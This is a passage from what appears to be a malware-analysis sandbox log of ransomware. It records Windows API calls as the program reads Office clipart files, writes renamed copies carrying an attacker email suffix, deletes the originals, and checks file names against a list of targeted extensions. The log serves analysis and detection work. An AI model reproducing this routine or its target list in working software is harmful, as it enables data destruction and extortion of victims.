(lpString1=".dbf", lpString2=".WMF") returned -1 [0170.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.203] lstrlenW (lpString=".1cd") returned 4 [0170.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.203] lstrlenW (lpString=".jpg") returned 4 [0170.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.203] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.203] lstrlenW (lpString="J0105530.WMF") returned 12 [0170.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.204] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=7384) returned 1 [0170.204] CloseHandle (hObject=0x538) returned 1 [0170.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220 [0170.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.205] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.205] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0170.206] GetLastError () returned 0x0 [0170.206] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0170.208] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0170.209] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.209] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.210] SetEndOfFile (hFile=0x53c) returned 1 [0170.210] CloseHandle (hObject=0x53c) returned 1 [0170.210] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.210] SetEndOfFile (hFile=0x538) returned 1 [0170.215] CloseHandle (hObject=0x538) returned 1 [0170.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0170.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.218] lstrlenW (lpString=".doc") returned 4 [0170.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.218] lstrlenW (lpString=".docx") returned 5 [0170.218] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.218] lstrlenW (lpString=".pdf") returned 4 [0170.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.218] lstrlenW (lpString=".xls") returned 4 [0170.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.218] lstrlenW (lpString=".xlsx") returned 5 [0170.218] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.218] lstrlenW (lpString=".ppt") returned 4 [0170.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.219] lstrlenW (lpString=".zip") returned 4 [0170.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.219] lstrlenW (lpString=".rar") returned 4 [0170.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.219] lstrlenW (lpString=".bz2") returned 4 [0170.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.219] lstrlenW (lpString=".7z") returned 3 [0170.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.219] lstrlenW (lpString=".dbf") returned 4 [0170.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.219] lstrlenW (lpString=".1cd") returned 4 [0170.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.219] lstrlenW (lpString=".jpg") returned 4 [0170.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.219] lstrlenW (lpString=".doc") returned 4 [0170.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.219] lstrlenW (lpString=".docx") returned 5 [0170.219] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.219] lstrlenW (lpString=".pdf") returned 4 [0170.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.219] lstrlenW (lpString=".xls") returned 4 [0170.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.219] lstrlenW (lpString=".xlsx") returned 5 [0170.219] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.219] lstrlenW (lpString=".ppt") returned 4 [0170.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.220] lstrlenW (lpString=".zip") returned 4 [0170.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.220] lstrlenW (lpString=".rar") returned 4 [0170.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString=".bz2") returned 4 [0170.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString=".7z") returned 3 [0170.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.220] lstrlenW (lpString=".dbf") returned 4 [0170.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.220] lstrlenW (lpString=".1cd") returned 4 [0170.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0170.220] lstrlenW (lpString=".jpg") returned 4 [0170.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.220] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.220] lstrlenW (lpString="J0105588.WMF") returned 12 [0170.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.222] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=21548) returned 1 [0170.222] CloseHandle (hObject=0x538) returned 1 [0170.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220 [0170.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.222] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.223] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0170.223] GetLastError () returned 0x0 [0170.223] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x542c, lpOverlapped=0x0) returned 1 [0170.225] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x5430, lpOverlapped=0x0) returned 1 [0170.227] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.227] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.227] SetEndOfFile (hFile=0x53c) returned 1 [0170.227] CloseHandle (hObject=0x53c) returned 1 [0170.227] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.227] SetEndOfFile (hFile=0x538) returned 1 [0170.230] CloseHandle (hObject=0x538) returned 1 [0170.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0170.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.507] lstrlenW (lpString=".doc") returned 4 [0170.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.507] lstrlenW (lpString=".docx") returned 5 [0170.508] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.508] lstrlenW (lpString=".pdf") returned 4 [0170.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.508] lstrlenW (lpString=".xls") returned 4 [0170.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.508] lstrlenW (lpString=".xlsx") returned 5 [0170.508] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.508] lstrlenW (lpString=".ppt") returned 4 [0170.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.508] lstrlenW (lpString=".zip") returned 4 [0170.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.508] lstrlenW (lpString=".rar") returned 4 [0170.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.508] lstrlenW (lpString=".bz2") returned 4 [0170.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.508] lstrlenW (lpString=".7z") returned 3 [0170.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.508] lstrlenW (lpString=".dbf") returned 4 [0170.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.508] lstrlenW (lpString=".1cd") returned 4 [0170.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.509] lstrlenW (lpString=".jpg") returned 4 [0170.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.509] lstrlenW (lpString=".doc") returned 4 [0170.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.509] lstrlenW (lpString=".docx") returned 5 [0170.509] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.509] lstrlenW (lpString=".pdf") returned 4 [0170.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.509] lstrlenW (lpString=".xls") returned 4 [0170.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.509] lstrlenW (lpString=".xlsx") returned 5 [0170.509] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.509] lstrlenW (lpString=".ppt") returned 4 [0170.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.509] lstrlenW (lpString=".zip") returned 4 [0170.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.509] lstrlenW (lpString=".rar") returned 4 [0170.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.509] lstrlenW (lpString=".bz2") returned 4 [0170.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.510] lstrlenW (lpString=".7z") returned 3 [0170.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.510] lstrlenW (lpString=".dbf") returned 4 [0170.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.510] lstrlenW (lpString=".1cd") returned 4 [0170.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0170.510] lstrlenW (lpString=".jpg") returned 4 [0170.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.510] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.510] lstrlenW (lpString="J0105710.WMF") returned 12 [0170.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.511] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=13808) returned 1 [0170.512] CloseHandle (hObject=0x51c) returned 1 [0170.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220 [0170.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.513] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.513] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0170.658] GetLastError () returned 0x0 [0170.658] ReadFile (in: hFile=0x51c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x35f0, lpOverlapped=0x0) returned 1 [0170.671] WriteFile (in: hFile=0x524, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3600, lpOverlapped=0x0) returned 1 [0170.672] ReadFile (in: hFile=0x51c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.672] WriteFile (in: hFile=0x524, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.672] SetEndOfFile (hFile=0x524) returned 1 [0170.683] CloseHandle (hObject=0x524) returned 1 [0170.683] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.684] SetEndOfFile (hFile=0x51c) returned 1 [0170.687] CloseHandle (hObject=0x51c) returned 1 [0170.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0170.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.688] lstrlenW (lpString=".doc") returned 4 [0170.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.688] lstrlenW (lpString=".docx") returned 5 [0170.688] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.688] lstrlenW (lpString=".pdf") returned 4 [0170.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.688] lstrlenW (lpString=".xls") returned 4 [0170.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.688] lstrlenW (lpString=".xlsx") returned 5 [0170.688] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.688] lstrlenW (lpString=".ppt") returned 4 [0170.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.688] lstrlenW (lpString=".zip") returned 4 [0170.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.688] lstrlenW (lpString=".rar") returned 4 [0170.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.688] lstrlenW (lpString=".bz2") returned 4 [0170.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.689] lstrlenW (lpString=".7z") returned 3 [0170.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.689] lstrlenW (lpString=".dbf") returned 4 [0170.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.689] lstrlenW (lpString=".1cd") returned 4 [0170.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.689] lstrlenW (lpString=".jpg") returned 4 [0170.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.689] lstrlenW (lpString=".doc") returned 4 [0170.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.689] lstrlenW (lpString=".docx") returned 5 [0170.689] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.689] lstrlenW (lpString=".pdf") returned 4 [0170.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.689] lstrlenW (lpString=".xls") returned 4 [0170.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.689] lstrlenW (lpString=".xlsx") returned 5 [0170.689] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.689] lstrlenW (lpString=".ppt") returned 4 [0170.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.689] lstrlenW (lpString=".zip") returned 4 [0170.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.689] lstrlenW (lpString=".rar") returned 4 [0170.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.690] lstrlenW (lpString=".bz2") returned 4 [0170.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.690] lstrlenW (lpString=".7z") returned 3 [0170.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.690] lstrlenW (lpString=".dbf") returned 4 [0170.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.690] lstrlenW (lpString=".1cd") returned 4 [0170.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0170.690] lstrlenW (lpString=".jpg") returned 4 [0170.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.690] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.690] lstrlenW (lpString="J0105974.WMF") returned 12 [0170.690] CreateFileW 